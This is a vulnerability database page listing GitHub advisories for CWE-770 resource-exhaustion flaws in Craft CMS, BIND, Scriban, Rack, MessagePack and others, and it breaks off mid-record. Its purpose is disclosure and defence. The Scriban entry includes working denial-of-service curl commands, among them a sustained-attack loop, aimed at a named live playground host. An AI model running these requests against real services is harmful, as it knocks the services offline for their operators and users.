CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3023 vulnerabilities reference this CWE, most recent first.
GHSA-V5PW-JHCF-J7HW
Vulnerability from github – Published: 2025-11-17 09:30 – Updated: 2025-11-17 09:30EasyFlow GP developed by Digiwin has a Denial of service vulnerability, allowing unauthenticated remote attackers to send specific requests that result in denial of web service.
{
"affected": [],
"aliases": [
"CVE-2025-13165"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-17T08:16:23Z",
"severity": "HIGH"
},
"details": "EasyFlow GP developed by Digiwin has a Denial of service vulnerability, allowing unauthenticated remote attackers to send specific requests that result in denial of web service.",
"id": "GHSA-v5pw-jhcf-j7hw",
"modified": "2025-11-17T09:30:26Z",
"published": "2025-11-17T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13165"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10504-23f4c-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10503-a66fe-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V64R-7WG9-23PR
Vulnerability from github – Published: 2026-01-05 18:49 – Updated: 2026-01-09 03:11Unauthenticated users can trigger database backup operations the updater/backup action, potentially leading to resource exhaustion or information disclosure.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.
References:
https://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
Affected Endpoints
POST /admin/actions/updater/backup(unauthenticated)
Vulnerability Details
Root Cause
All updater/* actions are explicitly configured with anonymous access:
// BaseUpdaterController.php
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;
Attack Vector
- Send unauthenticated POST request to
/admin/actions/updater/backup - Database backup executes with configured
backupCommand
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.20"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.16"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.16.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68456"
],
"database_specific": {
"cwe_ids": [
"CWE-202",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T18:49:56Z",
"nvd_published_at": "2026-01-05T22:15:52Z",
"severity": "HIGH"
},
"details": "Unauthenticated users can trigger database backup operations the `updater/backup` action, potentially leading to resource exhaustion or information disclosure.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nCraft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.\n\nReferences:\n\nhttps://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04\n\n## Affected Endpoints\n\n- `POST /admin/actions/updater/backup` (unauthenticated)\n\n## Vulnerability Details\n\n### Root Cause\nAll `updater/*` actions are explicitly configured with anonymous access:\n\n```php\n// BaseUpdaterController.php \nprotected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;\n```\n\n### Attack Vector\n1. Send unauthenticated POST request to `/admin/actions/updater/backup`\n2. Database backup executes with configured `backupCommand`",
"id": "GHSA-v64r-7wg9-23pr",
"modified": "2026-01-09T03:11:23Z",
"published": "2026-01-05T18:49:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v64r-7wg9-23pr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68456"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Unauthenticated Craft CMS users can trigger a database backup"
}
GHSA-V65Q-78QF-P4JG
Vulnerability from github – Published: 2022-05-13 01:45 – Updated: 2022-05-13 01:45A vulnerability in the authentication, authorization, and accounting (AAA) implementation of Cisco Firepower Extensible Operating System (FXOS) and NX-OS System Software could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability occurs because AAA processes prevent the NX-OS System Manager from receiving keepalive messages when an affected device receives a high rate of login attempts, such as in a brute-force login attack. System memory can run low on the FXOS devices under the same conditions, which could cause the AAA process to unexpectedly restart or cause the device to reload. An attacker could exploit this vulnerability by performing a brute-force login attack against a device that is configured with AAA security services. A successful exploit could allow the attacker to cause the affected device to reload. This vulnerability affects the following Cisco products if they are running Cisco FXOS or NX-OS System Software that is configured for AAA services: Firepower 4100 Series Next-Generation Firewall, Firepower 9300 Security Appliance, Multilayer Director Switches, Nexus 1000V Series Switches, Nexus 1100 Series Cloud Services Platforms, Nexus 2000 Series Switches, Nexus 3000 Series Switches, Nexus 3500 Platform Switches, Nexus 5000 Series Switches, Nexus 5500 Platform Switches, Nexus 5600 Platform Switches, Nexus 6000 Series Switches, Nexus 7000 Series Switches, Nexus 7700 Series Switches, Nexus 9000 Series Switches in NX-OS mode, Nexus 9500 R-Series Line Cards and Fabric Modules, Unified Computing System (UCS) 6100 Series Fabric Interconnects, UCS 6200 Series Fabric Interconnects, UCS 6300 Series Fabric Interconnects. Cisco Bug IDs: CSCuq58760, CSCuq71257, CSCur97432, CSCus05214, CSCux54898, CSCvc33141, CSCvd36971, CSCve03660.
{
"affected": [],
"aliases": [
"CVE-2017-3883"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-19T08:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the authentication, authorization, and accounting (AAA) implementation of Cisco Firepower Extensible Operating System (FXOS) and NX-OS System Software could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability occurs because AAA processes prevent the NX-OS System Manager from receiving keepalive messages when an affected device receives a high rate of login attempts, such as in a brute-force login attack. System memory can run low on the FXOS devices under the same conditions, which could cause the AAA process to unexpectedly restart or cause the device to reload. An attacker could exploit this vulnerability by performing a brute-force login attack against a device that is configured with AAA security services. A successful exploit could allow the attacker to cause the affected device to reload. This vulnerability affects the following Cisco products if they are running Cisco FXOS or NX-OS System Software that is configured for AAA services: Firepower 4100 Series Next-Generation Firewall, Firepower 9300 Security Appliance, Multilayer Director Switches, Nexus 1000V Series Switches, Nexus 1100 Series Cloud Services Platforms, Nexus 2000 Series Switches, Nexus 3000 Series Switches, Nexus 3500 Platform Switches, Nexus 5000 Series Switches, Nexus 5500 Platform Switches, Nexus 5600 Platform Switches, Nexus 6000 Series Switches, Nexus 7000 Series Switches, Nexus 7700 Series Switches, Nexus 9000 Series Switches in NX-OS mode, Nexus 9500 R-Series Line Cards and Fabric Modules, Unified Computing System (UCS) 6100 Series Fabric Interconnects, UCS 6200 Series Fabric Interconnects, UCS 6300 Series Fabric Interconnects. Cisco Bug IDs: CSCuq58760, CSCuq71257, CSCur97432, CSCus05214, CSCux54898, CSCvc33141, CSCvd36971, CSCve03660.",
"id": "GHSA-v65q-78qf-p4jg",
"modified": "2022-05-13T01:45:56Z",
"published": "2022-05-13T01:45:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3883"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbst03846en_us"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171018-aaavty"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101493"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039614"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V668-CCV8-M5GX
Vulnerability from github – Published: 2023-06-21 18:31 – Updated: 2024-04-04 04:59Every named instance configured to run as a recursive resolver maintains a cache database holding the responses to the queries it has recently sent to authoritative servers. The size limit for that cache database can be configured using the max-cache-size statement in the configuration file; it defaults to 90% of the total amount of memory available on the host. When the size of the cache reaches 7/8 of the configured limit, a cache-cleaning algorithm starts to remove expired and/or least-recently used RRsets from the cache, to keep memory use below the configured limit.
It has been discovered that the effectiveness of the cache-cleaning algorithm used in named can be severely diminished by querying the resolver for specific RRsets in a certain order, effectively allowing the configured max-cache-size limit to be significantly exceeded.
This issue affects BIND 9 versions 9.11.0 through 9.16.41, 9.18.0 through 9.18.15, 9.19.0 through 9.19.13, 9.11.3-S1 through 9.16.41-S1, and 9.18.11-S1 through 9.18.15-S1.
{
"affected": [],
"aliases": [
"CVE-2023-2828"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-21T17:15:47Z",
"severity": "HIGH"
},
"details": "Every `named` instance configured to run as a recursive resolver maintains a cache database holding the responses to the queries it has recently sent to authoritative servers. The size limit for that cache database can be configured using the `max-cache-size` statement in the configuration file; it defaults to 90% of the total amount of memory available on the host. When the size of the cache reaches 7/8 of the configured limit, a cache-cleaning algorithm starts to remove expired and/or least-recently used RRsets from the cache, to keep memory use below the configured limit.\n\nIt has been discovered that the effectiveness of the cache-cleaning algorithm used in `named` can be severely diminished by querying the resolver for specific RRsets in a certain order, effectively allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.11.0 through 9.16.41, 9.18.0 through 9.18.15, 9.19.0 through 9.19.13, 9.11.3-S1 through 9.16.41-S1, and 9.18.11-S1 through 9.18.15-S1.",
"id": "GHSA-v668-ccv8-m5gx",
"modified": "2024-04-04T04:59:25Z",
"published": "2023-06-21T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2828"
},
{
"type": "WEB",
"url": "https://kb.isc.org/docs/cve-2023-2828"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00021.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SEFCEVCTYEMKTWA7V7EYPI5YQQ4JWDLI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3K6AJK7RRSR53HRF5GGKPA6PDUDWOD2"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230703-0010"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5439"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V66J-X4HW-FV9G
Vulnerability from github – Published: 2026-03-24 22:13 – Updated: 2026-07-06 13:08Summary
The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.
Details
StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:
// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
return (text ?? string.Empty).PadLeft(width);
}
// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
return (text ?? string.Empty).PadRight(width);
}
The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.
The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:
- No authentication
- Template size limit of 1KB (line 71) — the payload fits in 39 bytes
- A 2-second timeout via CancellationTokenSource (line 118) — but this only cancels the await Task.Run(...), not the running template.Render() call (line 122). The BCL PadLeft allocation completes atomically before the cancellation can take effect.
- Rate limiting of 30 requests/minute (line 25)
PoC
Single request to crash or degrade the AppService:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'
This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).
Expected result: The service returns an error or truncated output safely.
Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.
Sustained attack with rate limiting:
# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait
The string.pad_right variant works identically:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'
Impact
- Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at
scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net. - An unauthenticated attacker can crash the hosting process via
OutOfMemoryExceptionwith a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
- The existing
LimitToStringand timeout mitigations do not prevent the intermediate memory allocation.
Recommended Fix
Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:
// src/Scriban/Functions/StringFunctions.cs
// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadLeft(width);
}
public static string PadRight(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadRight(width);
}
Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Scriban"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Scriban.Signed"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T22:13:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input \u2014 as in the official Scriban.AppService playground deployed on Azure \u2014 an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`.\n\n## Details\n\n`StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET\u0027s `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs:1181-1183\npublic static string PadLeft(string text, int width)\n{\n return (text ?? string.Empty).PadLeft(width);\n}\n\n// src/Scriban/Functions/StringFunctions.cs:1200-1202\npublic static string PadRight(string text, int width)\n{\n return (text ?? string.Empty).PadRight(width);\n}\n```\n\nThe `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function \u2014 it occurs before output rendering.\n\nThe Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with:\n- No authentication\n- Template size limit of 1KB (line 71) \u2014 the payload fits in 39 bytes\n- A 2-second timeout via `CancellationTokenSource` (line 118) \u2014 but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect.\n- Rate limiting of 30 requests/minute (line 25)\n\n## PoC\n\nSingle request to crash or degrade the AppService:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}\u0027\n```\n\nThis 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET\u0027s UTF-16 encoding).\n\n**Expected result:** The service returns an error or truncated output safely.\n\n**Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process.\n\nSustained attack with rate limiting:\n\n```bash\n# 30 requests/minute \u00d7 ~1GB each = ~30GB/minute of memory pressure\nfor i in $(seq 1 30); do\n curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}\u0027 \u0026\ndone\nwait\n```\n\nThe `string.pad_right` variant works identically:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{{ \\u0027\\u0027 | string.pad_right 500000000 }}\"}\u0027\n```\n\n## Impact\n\n- **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`.\n- An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request.\n- With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.\n- The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation.\n\n## Recommended Fix\n\nAdd width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs\n\n// Option 1: Fixed reasonable maximum (simplest fix)\npublic static string PadLeft(string text, int width)\n{\n if (width \u003c 0) width = 0;\n if (width \u003e 1_048_576) width = 1_048_576; // 1MB cap\n return (text ?? string.Empty).PadLeft(width);\n}\n\npublic static string PadRight(string text, int width)\n{\n if (width \u003c 0) width = 0;\n if (width \u003e 1_048_576) width = 1_048_576; // 1MB cap\n return (text ?? string.Empty).PadRight(width);\n}\n```\n\nAlternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.",
"id": "GHSA-v66j-x4hw-fv9g",
"modified": "2026-07-06T13:08:56Z",
"published": "2026-03-24T22:13:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-v66j-x4hw-fv9g"
},
{
"type": "PACKAGE",
"url": "https://github.com/scriban/scriban"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service"
}
GHSA-V6X5-CG8R-VV6X
Vulnerability from github – Published: 2026-04-02 20:30 – Updated: 2026-05-13 16:18Summary
Rack::Multipart::Parser#handle_mime_head parses quoted multipart parameters such as Content-Disposition: form-data; name="..." using repeated String#index searches combined with String#slice! prefix deletion. For escape-heavy quoted values, this causes super-linear processing.
An unauthenticated attacker can send a crafted multipart/form-data request containing many parts with long backslash-escaped parameter values to trigger excessive CPU usage during multipart parsing.
This results in a denial of service condition in Rack applications that accept multipart form data.
Details
Rack::Multipart::Parser#handle_mime_head parses quoted parameter values by repeatedly:
- Searching for the next quote or backslash,
- Copying the preceding substring into a new buffer, and
- Removing the processed prefix from the original string with
slice!.
An attacker can exploit this by sending a multipart request with many parts whose name parameters contain long escape-heavy values such as:
name="a\\a\\a\\a\\a\\..."
Under default Rack limits, a request can contain up to 4095 parts. If many of those parts use long quoted values with dense escape characters, the parser performs disproportionately expensive CPU work while remaining within normal request size and part-count limits.
Impact
Any Rack application that accepts multipart/form-data requests may be affected, including file upload endpoints and standard HTML form handlers.
An unauthenticated attacker can send crafted multipart requests that consume excessive CPU time during request parsing. Repeated requests can tie up application workers, reduce throughput, and degrade or deny service availability.
Mitigation
- Update to a patched version of Rack that parses quoted multipart parameters without repeated rescanning and destructive prefix deletion.
- Apply request throttling or rate limiting to multipart upload endpoints.
- Where operationally feasible, restrict or isolate multipart parsing on untrusted high-volume endpoints.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.beta1"
},
{
"fixed": "3.1.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34827"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:30:12Z",
"nvd_published_at": "2026-04-02T18:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::Multipart::Parser#handle_mime_head` parses quoted multipart parameters such as `Content-Disposition: form-data; name=\"...\"` using repeated `String#index` searches combined with `String#slice!` prefix deletion. For escape-heavy quoted values, this causes super-linear processing.\n\nAn unauthenticated attacker can send a crafted `multipart/form-data` request containing many parts with long backslash-escaped parameter values to trigger excessive CPU usage during multipart parsing.\n\nThis results in a denial of service condition in Rack applications that accept multipart form data.\n\n## Details\n\n`Rack::Multipart::Parser#handle_mime_head` parses quoted parameter values by repeatedly:\n\n1. Searching for the next quote or backslash,\n2. Copying the preceding substring into a new buffer, and\n3. Removing the processed prefix from the original string with `slice!`.\n\nAn attacker can exploit this by sending a multipart request with many parts whose `name` parameters contain long escape-heavy values such as:\n\n```text\nname=\"a\\\\a\\\\a\\\\a\\\\a\\\\...\"\n```\n\nUnder default Rack limits, a request can contain up to 4095 parts. If many of those parts use long quoted values with dense escape characters, the parser performs disproportionately expensive CPU work while remaining within normal request size and part-count limits.\n\n## Impact\n\nAny Rack application that accepts `multipart/form-data` requests may be affected, including file upload endpoints and standard HTML form handlers.\n\nAn unauthenticated attacker can send crafted multipart requests that consume excessive CPU time during request parsing. Repeated requests can tie up application workers, reduce throughput, and degrade or deny service availability.\n\n## Mitigation\n\n* Update to a patched version of Rack that parses quoted multipart parameters without repeated rescanning and destructive prefix deletion.\n* Apply request throttling or rate limiting to multipart upload endpoints.\n* Where operationally feasible, restrict or isolate multipart parsing on untrusted high-volume endpoints.",
"id": "GHSA-v6x5-cg8r-vv6x",
"modified": "2026-05-13T16:18:33Z",
"published": "2026-04-02T20:30:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-v6x5-cg8r-vv6x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34827"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-34827.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack\u0027s multipart header parsing allows Denial of Service via escape-heavy quoted parameters"
}
GHSA-V72X-2H86-7F8M
Vulnerability from github – Published: 2026-06-25 18:53 – Updated: 2026-06-25 18:53Summary
When MessagePack-CSharp decompresses Lz4Block or Lz4BlockArray payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.
A small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.
Impact
Applications are affected when they deserialize attacker-controlled MessagePack payloads with MessagePackCompression.Lz4Block or MessagePackCompression.Lz4BlockArray enabled.
In the Lz4Block case, an attacker-controlled integer is used to request the destination span. In the Lz4BlockArray case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.
This advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.
Affected components
- Package:
MessagePack - Feature: LZ4 compressed MessagePack payloads
- APIs:
MessagePackSerializerwithWithCompression(MessagePackCompression.Lz4Block)orWithCompression(MessagePackCompression.Lz4BlockArray) - Internal routine:
MessagePackSerializer.TryDecompress - Finding ID:
MESSAGEPACKCSHARP-OPEN-004
Patches
Fixes are prepared and will be released in coordinated patch versions.
Upgrade guidance:
- Upgrade
MessagePackto the patched version for your release line. - Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.
The fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.
Workarounds
Patching is recommended.
Until a patched version is available, do not enable MessagePack-CSharp's built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.
Resources
MESSAGEPACKCSHARP-OPEN-004: LZ4 decompression allocation from unbounded uncompressed lengthMESSAGEPACKCSHARP-011: duplicate decompression-bomb finding- CWE-409: Improper Handling of Highly Compressed Data
- CWE-770: Allocation of Resources Without Limits or Throttling
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.301"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48510"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:53:44Z",
"nvd_published_at": "2026-06-22T22:16:47Z",
"severity": "MODERATE"
},
